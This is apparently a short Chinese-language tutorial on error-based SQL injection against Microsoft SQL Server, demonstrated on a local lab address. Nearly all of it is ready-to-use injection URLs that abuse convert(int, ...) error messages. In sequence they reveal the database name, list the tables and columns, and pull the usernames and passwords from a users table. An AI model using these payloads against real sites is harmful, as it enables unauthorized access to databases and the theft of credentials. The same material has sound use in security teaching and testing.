sql注入——sqlserver报错注入

该注入的条件是必须有报错信息

用到函数convert(int,(select top 1 db_name() ))，其含义是将第二个参数的值转换成第一个参数的int类型

一、打开文件，如下图所示，有报错信息：

二、查看数据库

输入：http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 db_name()));这里由报错信息可看到数据库的名字是”test“

三、查看数据库的表

输入：http://192.168.1.106/1.php?id=1 and 1=convert(int,(select  top 1 name from test.sys.sysobjects where xtype='U''));可查看数据库的第一个表

输入：http://192.168.1.106/1.php?id=1 and 1=convert(int,(select  top 1 name from test.sys.sysobjects where xtype='U' and name !='users'));可查看数据库的第二张表，依次类推……

四、查看对应表的字段

输入：http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1  name from test.sys.syscolumns where id=OBJECT_ID('users') and name !='id'));可查看该表对应的字段

输入：http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1  name from test.sys.syscolumns where id=OBJECT_ID('users') and name !='id' and name !='username'));可查看第三个字段，依次类推……

五、查看用户名和密码信息

输入：http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 username+password from users ));可查看第一个用户名和密码

输入：http://192.168.1.106/1.php?id=1 and 1=convert(int,(select top 1 username+password from users where username!='zs'));可查看第二个用户名和密码，以此类推……